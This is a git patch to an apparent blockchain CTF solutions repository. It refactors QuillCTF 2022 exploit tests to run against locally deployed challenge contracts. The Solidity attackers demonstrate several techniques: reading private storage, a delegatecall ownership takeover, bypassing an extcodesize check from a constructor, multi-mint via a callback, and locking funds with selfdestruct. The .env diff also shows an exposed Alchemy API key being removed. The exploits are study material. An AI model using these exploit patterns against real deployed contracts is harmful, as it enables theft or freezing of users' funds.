From a6c888876b4e58f38d6267083a1f158236644da0 Mon Sep 17 00:00:00 2001 From: minaminao Date: Wed, 12 Jun 2024 21:47:20 +0900 Subject: [PATCH] refactor/archive goerli challenges --- .env | 7 +- .github/workflows/test.yml | 5 +- Makefile | 2 +- README.md | 7 +- package.json | 29 +++++---- ....t.sol => CarMarketExploit.t.sol.archived} | 0 ...> EthernautDaoTokenExploit.t.sol.archived} | 0 ...Contract.t.sol => Contract.t.sol.archived} | 0 ....sol => PrivateDataExploit.t.sol.archived} | 0 ...l => VendingMachineExploit.t.sol.archived} | 0 ...ol => WalletLibraryExploit.t.sol.archived} | 0 .../{QuillCTF2Solved.t.sol => Exploit.t.sol} | 29 ++++----- .../{D3l3g4t3Solved.t.sol => Exploit.t.sol} | 32 +++------- src/QuillCTF2022/RoadClosed/Exploit.t.sol | 34 ++++++++++ .../RoadClosed/QuillCTF1Solved.t.sol | 49 -------------- .../{SafeNFTSovled.t.sol => Exploit.t.sol} | 36 ++++------- src/QuillCTF2022/VIPBank/Exploit.t.sol | 51 +++++++++++++++ .../VIPBank/QuillCTF3Solved.t.sol | 64 ------------------- 18 files changed, 146 insertions(+), 199 deletions(-) rename src/EthernautDAO/CarMarket/{CarMarketExploit.t.sol => CarMarketExploit.t.sol.archived} (100%) rename src/EthernautDAO/EthernautDaoToken/{EthernautDaoTokenExploit.t.sol => EthernautDaoTokenExploit.t.sol.archived} (100%) rename src/EthernautDAO/NoName/{Contract.t.sol => Contract.t.sol.archived} (100%) rename src/EthernautDAO/PrivateData/{PrivateDataExploit.t.sol => PrivateDataExploit.t.sol.archived} (100%) rename src/EthernautDAO/VendingMachine/{VendingMachineExploit.t.sol => VendingMachineExploit.t.sol.archived} (100%) rename src/EthernautDAO/WalletLibrary/{WalletLibraryExploit.t.sol => WalletLibraryExploit.t.sol.archived} (100%) rename src/QuillCTF2022/ConfidentialHash/{QuillCTF2Solved.t.sol => Exploit.t.sol} (64%) rename src/QuillCTF2022/D3l3g4t3/{D3l3g4t3Solved.t.sol => Exploit.t.sol} (56%) create mode 100644 src/QuillCTF2022/RoadClosed/Exploit.t.sol delete mode 100644 src/QuillCTF2022/RoadClosed/QuillCTF1Solved.t.sol rename src/QuillCTF2022/SafeNFT/{SafeNFTSovled.t.sol => Exploit.t.sol} (65%) create mode 100644 src/QuillCTF2022/VIPBank/Exploit.t.sol delete mode 100644 src/QuillCTF2022/VIPBank/QuillCTF3Solved.t.sol diff --git a/.env b/.env index 1fdb6f6..1c5e6cc 100644 --- a/.env +++ b/.env @@ -1,6 +1,3 @@ -RPC_ANKR_MAINNET=https://rpc.ankr.com/eth -RPC_ANKR_GOERLI=https://rpc.ankr.com/eth_goerli -RPC_ANKR_RINKEBY=https://rpc.ankr.com/eth_rinkeby -RPC_ANKR_ROPSTEN=https://rpc.ankr.com/eth_ropsten +# THIS IS PUBLICLY VISIBLE -RPC_GOERLI=https://eth-goerli.g.alchemy.com/v2/t58NDjmK79RnYDBvyEgcqWyMWIfmdQNX +RPC_ANKR_MAINNET=https://rpc.ankr.com/eth diff --git a/.github/workflows/test.yml b/.github/workflows/test.yml index 25e18f1..2c773c2 100644 --- a/.github/workflows/test.yml +++ b/.github/workflows/test.yml @@ -12,7 +12,6 @@ on: env: FOUNDRY_PROFILE: ci - RPC_GOERLI: ${{ secrets.RPC_GOERLI }} jobs: check: @@ -22,7 +21,7 @@ jobs: name: Foundry project runs-on: ubuntu-latest steps: - - uses: actions/checkout@v3 + - uses: actions/checkout@v4 with: submodules: recursive @@ -37,7 +36,7 @@ jobs: version: nightly - name: Install Python - uses: actions/setup-python@v4 + uses: actions/setup-python@v5 with: python-version: '3.11' cache: 'pip' diff --git a/Makefile b/Makefile index ac0070c..bec55c3 100644 --- a/Makefile +++ b/Makefile @@ -6,4 +6,4 @@ test: forge test --force test-action: - act --secret RPC_GOERLI=$(RPC_GOERLI) + act diff --git a/README.md b/README.md index ee36309..2da6e7c 100644 --- a/README.md +++ b/README.md @@ -259,7 +259,10 @@ Note: ### Reversing EVM bytecodes - Reversing a contract for which code is not given in whole or in part. -- Use a decompiler (e.g., [heimdall](https://github.com/Jon-Becker/heimdall-rs), [panoramix](https://github.com/eveem-org/panoramix)) and a disassembler (e.g., [ethersplay](https://github.com/crytic/ethersplay)). +- [evm.codes](https://www.evm.codes/) is very useful. +- Use a decompiler (e.g., [Dedaub Decompiler](https://app.dedaub.com/decompile), [heimdall](https://github.com/Jon-Becker/heimdall-rs)). +- Use a disassembler (e.g., [ByteGraph](https://bytegraph.xyz/), [ethersplay](https://github.com/crytic/ethersplay)). +- Use a debugger (e.g., [Foundry Debugger](https://book.getfoundry.sh/forge/debugger)). | Challenge | Note, Keywords | | --------------------------------------------------------------- | --------------------------------------- | @@ -337,7 +340,7 @@ Note: | [Project SEKAI CTF 2023: Re-Remix](src/ProjectSekaiCTF2023/) | Read-Only Reentrancy | ### Flash loan basics -- Flash loans are uncollateralised loans that allow the borrowing of an asset, as long as the borrowed assets are returned before the end of the transaction. The borrower can deal with the borrowed assets any way they want within the transaction. +- Flash loans are uncollateralized loans that allow the borrowing of an asset, as long as the borrowed assets are returned before the end of the transaction. The borrower can deal with the borrowed assets any way they want within the transaction. - By making large asset moves, attacks can be made to snatch funds from DeFi applications or to gain large amounts of votes for participation in governance. - A solution to attacks that use flash loans to corrupt oracle values is to use a decentralized oracle. diff --git a/package.json b/package.json index 4c94e5e..2d498f0 100644 --- a/package.json +++ b/package.json @@ -1,17 +1,18 @@ { "license": "UNLICENSED", - "devDependencies": { - "@types/node": "^20.4.8", - "@typescript-eslint/eslint-plugin": "^6.2.1", - "@typescript-eslint/parser": "^6.2.1", - "dotenv": "^16.3.1", - "eslint": "^8.46.0", - "eslint-plugin-tsdoc": "^0.2.17", - "ts-node": "^10.9.1", - "typescript": "^5.1.6" - }, - "dependencies": { - "@flashbots/mev-share-client": "^0.7.6", - "ethers": "^6.7.0" - } + "devDependencies": { + "@types/node": "^20.4.8", + "@typescript-eslint/eslint-plugin": "^6.2.1", + "@typescript-eslint/parser": "^6.2.1", + "dotenv": "^16.3.1", + "eslint": "^8.46.0", + "eslint-plugin-tsdoc": "^0.2.17", + "ts-node": "^10.9.1", + "typescript": "^5.1.6" + }, + "dependencies": { + "@flashbots/mev-share-client": "^0.7.6", + "ethers": "^6.7.0" + }, + "packageManager": "yarn@1.22.19+sha1.4ba7fc5c6e704fce2066ecbfb0b0d8976fe62447" } diff --git a/src/EthernautDAO/CarMarket/CarMarketExploit.t.sol b/src/EthernautDAO/CarMarket/CarMarketExploit.t.sol.archived similarity index 100% rename from src/EthernautDAO/CarMarket/CarMarketExploit.t.sol rename to src/EthernautDAO/CarMarket/CarMarketExploit.t.sol.archived diff --git a/src/EthernautDAO/EthernautDaoToken/EthernautDaoTokenExploit.t.sol b/src/EthernautDAO/EthernautDaoToken/EthernautDaoTokenExploit.t.sol.archived similarity index 100% rename from src/EthernautDAO/EthernautDaoToken/EthernautDaoTokenExploit.t.sol rename to src/EthernautDAO/EthernautDaoToken/EthernautDaoTokenExploit.t.sol.archived diff --git a/src/EthernautDAO/NoName/Contract.t.sol b/src/EthernautDAO/NoName/Contract.t.sol.archived similarity index 100% rename from src/EthernautDAO/NoName/Contract.t.sol rename to src/EthernautDAO/NoName/Contract.t.sol.archived diff --git a/src/EthernautDAO/PrivateData/PrivateDataExploit.t.sol b/src/EthernautDAO/PrivateData/PrivateDataExploit.t.sol.archived similarity index 100% rename from src/EthernautDAO/PrivateData/PrivateDataExploit.t.sol rename to src/EthernautDAO/PrivateData/PrivateDataExploit.t.sol.archived diff --git a/src/EthernautDAO/VendingMachine/VendingMachineExploit.t.sol b/src/EthernautDAO/VendingMachine/VendingMachineExploit.t.sol.archived similarity index 100% rename from src/EthernautDAO/VendingMachine/VendingMachineExploit.t.sol rename to src/EthernautDAO/VendingMachine/VendingMachineExploit.t.sol.archived diff --git a/src/EthernautDAO/WalletLibrary/WalletLibraryExploit.t.sol b/src/EthernautDAO/WalletLibrary/WalletLibraryExploit.t.sol.archived similarity index 100% rename from src/EthernautDAO/WalletLibrary/WalletLibraryExploit.t.sol rename to src/EthernautDAO/WalletLibrary/WalletLibraryExploit.t.sol.archived diff --git a/src/QuillCTF2022/ConfidentialHash/QuillCTF2Solved.t.sol b/src/QuillCTF2022/ConfidentialHash/Exploit.t.sol similarity index 64% rename from src/QuillCTF2022/ConfidentialHash/QuillCTF2Solved.t.sol rename to src/QuillCTF2022/ConfidentialHash/Exploit.t.sol index 2f451fc..04f241d 100644 --- a/src/QuillCTF2022/ConfidentialHash/QuillCTF2Solved.t.sol +++ b/src/QuillCTF2022/ConfidentialHash/Exploit.t.sol @@ -2,25 +2,18 @@ pragma solidity ^0.8.0; import "forge-std/Test.sol"; +import {ConfidentialHash} from "./challenge/ConfidentialHash.sol"; -/// ./challenge/ConfidentialHash.sol - -/// Define the interface for the Target contract -interface ITarget { - function hash(bytes32 key1, bytes32 key2) external view returns (bytes32); - - function checkthehash(bytes32 _hash) external view returns (bool); -} - -contract QuillCTF2Solved is Test { - ITarget target = ITarget(0xf8E9327E38Ceb39B1Ec3D26F5Fad09E426888E66); +contract ExploitTest is Test { + address playerAddr = makeAddr("player"); + ConfidentialHash confidentialHash; function setUp() public { - /// Run the test against the goerli testnet fork - vm.createSelectFork(vm.envString("RPC_ANKR_GOERLI")); + confidentialHash = new ConfidentialHash(); } function testExploit() external { + vm.startPrank(playerAddr, playerAddr); /** * Storage layout of the target contract * Generated using: https://marketplace.visualstudio.com/items?itemName=PraneshASP.vscode-solidity-inspector @@ -40,13 +33,15 @@ contract QuillCTF2Solved is Test { */ /// Read hash from the slots 4 and 9 - bytes32 aliceHash = vm.load(address(target), bytes32(uint256(4))); - bytes32 bobHash = vm.load(address(target), bytes32(uint256(9))); + bytes32 aliceHash = vm.load(address(confidentialHash), bytes32(uint256(4))); + bytes32 bobHash = vm.load(address(confidentialHash), bytes32(uint256(9))); /// Generate combined hash - bytes32 combinedHash = target.hash(aliceHash, bobHash); + bytes32 combinedHash = confidentialHash.hash(aliceHash, bobHash); /// Validate if we acquired the secret hash of Alice and Bob - assertEq(target.checkthehash(combinedHash), true); + assertEq(confidentialHash.checkthehash(combinedHash), true); + + vm.stopPrank(); } } diff --git a/src/QuillCTF2022/D3l3g4t3/D3l3g4t3Solved.t.sol b/src/QuillCTF2022/D3l3g4t3/Exploit.t.sol similarity index 56% rename from src/QuillCTF2022/D3l3g4t3/D3l3g4t3Solved.t.sol rename to src/QuillCTF2022/D3l3g4t3/Exploit.t.sol index fb841a1..be2ceca 100644 --- a/src/QuillCTF2022/D3l3g4t3/D3l3g4t3Solved.t.sol +++ b/src/QuillCTF2022/D3l3g4t3/Exploit.t.sol @@ -2,19 +2,7 @@ pragma solidity ^0.8.0; import "forge-std/Test.sol"; - -/// src/D3l3g4t3.sol - -/// Define the interface for the Target contract -interface ITarget { - function hackMe(bytes calldata bites) external returns (bool, bytes memory); - - function hacked() external; - - function canYouHackMe(address) external view returns (bool); - - function owner() external view returns (address); -} +import {D31eg4t3} from "./challenge/D3l3g4t3.sol"; contract Attacker { /// Storage slot setup should be same as the victim @@ -40,20 +28,20 @@ contract Attacker { } } -contract D3l3g4t3Solved is Test { - ITarget target = ITarget(0x971e55F02367DcDd1535A7faeD0a500B64f2742d); +contract ExploitTest is Test { + address playerAddr = makeAddr("player"); + D31eg4t3 delegate; function setUp() public { - /// Run the test against the goerli testnet fork - vm.createSelectFork("https://rpc.ankr.com/eth_goerli"); + delegate = new D31eg4t3(); } function testExploit() external { + vm.startPrank(playerAddr, playerAddr); Attacker attacker = new Attacker(); - - attacker.attack(address(target)); - - assertEq(target.canYouHackMe(address(attacker)), true); - assertEq(target.owner(), address(attacker)); + attacker.attack(address(delegate)); + assertEq(delegate.canYouHackMe(address(attacker)), true); + assertEq(delegate.owner(), address(attacker)); + vm.stopPrank(); } } diff --git a/src/QuillCTF2022/RoadClosed/Exploit.t.sol b/src/QuillCTF2022/RoadClosed/Exploit.t.sol new file mode 100644 index 0000000..291a59f --- /dev/null +++ b/src/QuillCTF2022/RoadClosed/Exploit.t.sol @@ -0,0 +1,34 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "forge-std/Test.sol"; +import {RoadClosed} from "./challenge/RoadClosed.sol"; + +/// Define the attacker contract +contract Attacker { + /// Calling the functions from a contract's constructor will bypasses the `extcodesize > 0` check + constructor(address target) { + RoadClosed roadClosed = RoadClosed(target); + roadClosed.addToWhitelist(address(this)); + roadClosed.changeOwner(address(this)); + roadClosed.pwn(address(this)); + require(roadClosed.isOwner()); + } +} + +contract ExploitTest is Test { + address playerAddr = makeAddr("player"); + RoadClosed roadClosed; + + function setUp() public { + roadClosed = new RoadClosed(); + } + + /// Exploit! Validate if owner == attacker's address + function test() public { + vm.startPrank(playerAddr, playerAddr); + new Attacker(address(roadClosed)); + vm.stopPrank(); + assertEq(roadClosed.isHacked(), true); + } +} diff --git a/src/QuillCTF2022/RoadClosed/QuillCTF1Solved.t.sol b/src/QuillCTF2022/RoadClosed/QuillCTF1Solved.t.sol deleted file mode 100644 index c25c4de..0000000 --- a/src/QuillCTF2022/RoadClosed/QuillCTF1Solved.t.sol +++ /dev/null @@ -1,49 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.0; - -import "forge-std/Test.sol"; - -/// ./challenge/RoadClosed.sol - -/// Define the interface for the Target contract -interface ITarget { - function addToWhitelist(address addr) external; - - function changeOwner(address addr) external; - - function pwn(address addr) external payable; - - function pwn() external payable; - - function isHacked() external view returns (bool); - - function isOwner() external view returns (bool); -} - -/// Define the attacker contract -contract Attacker { - /// Calling the functions from a contract's constructor will bypasses the `extcodesize > 0` check - constructor(address target) { - ITarget(target).addToWhitelist(address(this)); - ITarget(target).changeOwner(address(this)); - ITarget(target).pwn(address(this)); - } -} - -contract QuillCTF1Solved is Test { - ITarget _target = ITarget(0xD2372EB76C559586bE0745914e9538C17878E812); - Attacker _attacker; - - /// Run the test against the goerli testnet fork - function setUp() public { - vm.createSelectFork("https://rpc.ankr.com/eth_goerli"); - _attacker = new Attacker(address(_target)); - } - - /// Exploit! Validate if owner == attacker's address - function testExploit() external { - assertEq(_target.isHacked(), true); - vm.prank(address(_attacker)); - assertEq(_target.isOwner(), true); - } -} diff --git a/src/QuillCTF2022/SafeNFT/SafeNFTSovled.t.sol b/src/QuillCTF2022/SafeNFT/Exploit.t.sol similarity index 65% rename from src/QuillCTF2022/SafeNFT/SafeNFTSovled.t.sol rename to src/QuillCTF2022/SafeNFT/Exploit.t.sol index 3643815..98d3ad5 100644 --- a/src/QuillCTF2022/SafeNFT/SafeNFTSovled.t.sol +++ b/src/QuillCTF2022/SafeNFT/Exploit.t.sol @@ -2,17 +2,7 @@ pragma solidity ^0.8.0; import "forge-std/Test.sol"; - -/// ./challenge/SafeNFT.sol - -/// Define the interface for the Target contract -interface ITarget { - function buyNFT() external payable; - - function claim() external; - - function balanceOf(address owner) external view returns (uint256); -} +import {SafeNFT} from "./challenge/SafeNFT.sol"; interface IERC721Receiver { function onERC721Received(address operator, address from, uint256 tokenId, bytes calldata data) @@ -22,9 +12,9 @@ interface IERC721Receiver { /// Define the Exploiter contract contract Exploiter is IERC721Receiver { - ITarget public immutable target; + SafeNFT public immutable target; - constructor(ITarget _target) payable { + constructor(SafeNFT _target) payable { target = _target; } @@ -44,26 +34,28 @@ contract Exploiter is IERC721Receiver { } } -contract SafeNFTSolved is Test { - ITarget target = ITarget(0xf0337Cde99638F8087c670c80a57d470134C3AAE); - Exploiter exploiter; +contract ExploitTest is Test { + address playerAddr = makeAddr("player"); + SafeNFT safeNft; function setUp() public { - /// Run the test against the goerli testnet fork - vm.createSelectFork("https://rpc.ankr.com/eth_goerli", 8168379); - - /// Deploy the exploiter contract with 2 ether (any amount more than 0.1 ether will work) - exploiter = new Exploiter{value: 2 ether}(target); + safeNft = new SafeNFT("SafeNFT", "NFT", 0.01 ether); + vm.deal(playerAddr, 2 ether); } function testExploit() external { + vm.startPrank(playerAddr, playerAddr); + Exploiter exploiter; + /// Deploy the exploiter contract with 2 ether (any amount more than 0.1 ether will work) + exploiter = new Exploiter{value: 2 ether}(safeNft); uint256 balanceETHBefore = address(exploiter).balance; exploiter.payForOneNFT(); exploiter.exploit(); uint256 balanceETHAfter = address(exploiter).balance; /// Objective: Exploiter should mint more than 1 NFT for the price of 1 - assertGt(target.balanceOf(address(exploiter)), 1); + assertGt(safeNft.balanceOf(address(exploiter)), 1); assertEq(balanceETHBefore - balanceETHAfter, 0.01 ether); + vm.stopPrank(); } } diff --git a/src/QuillCTF2022/VIPBank/Exploit.t.sol b/src/QuillCTF2022/VIPBank/Exploit.t.sol new file mode 100644 index 0000000..0ae6c82 --- /dev/null +++ b/src/QuillCTF2022/VIPBank/Exploit.t.sol @@ -0,0 +1,51 @@ +// SPDX-License-Identifier: MIT +pragma solidity ^0.8.0; + +import "forge-std/Test.sol"; +import {VIPBank} from "./challenge/VIPBank.sol"; + +/// Define the Exploiter contract +contract Exploiter { + /// make constructor payable to recieve ether during deployment + constructor() payable {} + + /// calls `selfdestruct` to force send ether to the recipient address + function exploit(address payable _recipient) external { + selfdestruct(_recipient); + } +} + +contract ExploitTest is Test { + address playerAddr = makeAddr("player"); + address manager = 0xE48A248367d3BC49069fA01A26B7517756E32a52; + VIPBank vipBank; + + function setUp() public { + vm.prank(manager); + vipBank = new VIPBank(); + vm.deal(playerAddr, 3 ether); + } + + function testExploit() external { + /// add player address as VIP + vm.prank(manager); + vipBank.addVIP(playerAddr); + + vm.startPrank(playerAddr, playerAddr); + /// deposit some funds + vipBank.deposit{value: 0.05 ether}(); + + /// make sure that the balances for this address got updated + assertEq(vipBank.balances(playerAddr), 0.05 ether); + + Exploiter exploiter = new Exploiter{value: 2 ether}(); + /// force send ether to the vipBank contract + exploiter.exploit(payable(address(vipBank))); + + /// funds got locked! + vm.expectRevert(abi.encodePacked("Cannot withdraw more than 0.5 ETH per transaction")); + + vipBank.withdraw(0.05 ether); + vm.stopPrank(); + } +} diff --git a/src/QuillCTF2022/VIPBank/QuillCTF3Solved.t.sol b/src/QuillCTF2022/VIPBank/QuillCTF3Solved.t.sol deleted file mode 100644 index 66a5a6c..0000000 --- a/src/QuillCTF2022/VIPBank/QuillCTF3Solved.t.sol +++ /dev/null @@ -1,64 +0,0 @@ -// SPDX-License-Identifier: MIT -pragma solidity ^0.8.0; - -import "forge-std/Test.sol"; - -/// ./challenge/VIPBank.sol - -/// Define the interface for the Target contract -interface ITarget { - function deposit() external payable; - - function withdraw(uint256 _amount) external; - - function addVIP(address addr) external; - - function contractBalance() external view returns (uint256); - - function balances(address user) external view returns (uint256); -} - -/// Define the Exploiter contract -contract Exploiter { - /// make constructor payable to recieve ether during deployment - constructor() payable {} - - /// calls `selfdestruct` to force send ether to the recipient address - function exploit(address payable _recipient) external { - selfdestruct(_recipient); - } -} - -contract QuillCTF3Solved is Test { - ITarget target = ITarget(0x28e42E7c4bdA7c0381dA503240f2E54C70226Be2); - address manager = 0xE48A248367d3BC49069fA01A26B7517756E32a52; - Exploiter exploiter; - - function setUp() public { - /// Run the test against the goerli testnet fork - vm.createSelectFork(vm.envString("RPC_ANKR_GOERLI"), 8167807); - - /// Deploy the exploiter contract with 2 ether (any amount more than 0.5 will work) - exploiter = new Exploiter{value: 2 ether}(); - } - - function testExploit() external { - /// add this address as VIP - vm.prank(manager); - target.addVIP(address(this)); - - /// deposit some funds - target.deposit{value: 0.05 ether}(); - - /// make sure that the balances for this address got updated - assertEq(target.balances(address(this)), 0.05 ether); - - /// force send ether to the target contract - exploiter.exploit(payable(address(target))); - - /// funds got locked! - vm.expectRevert(abi.encodePacked("Cannot withdraw more than 0.5 ETH per transaction")); - - target.withdraw(0.05 ether); - } -}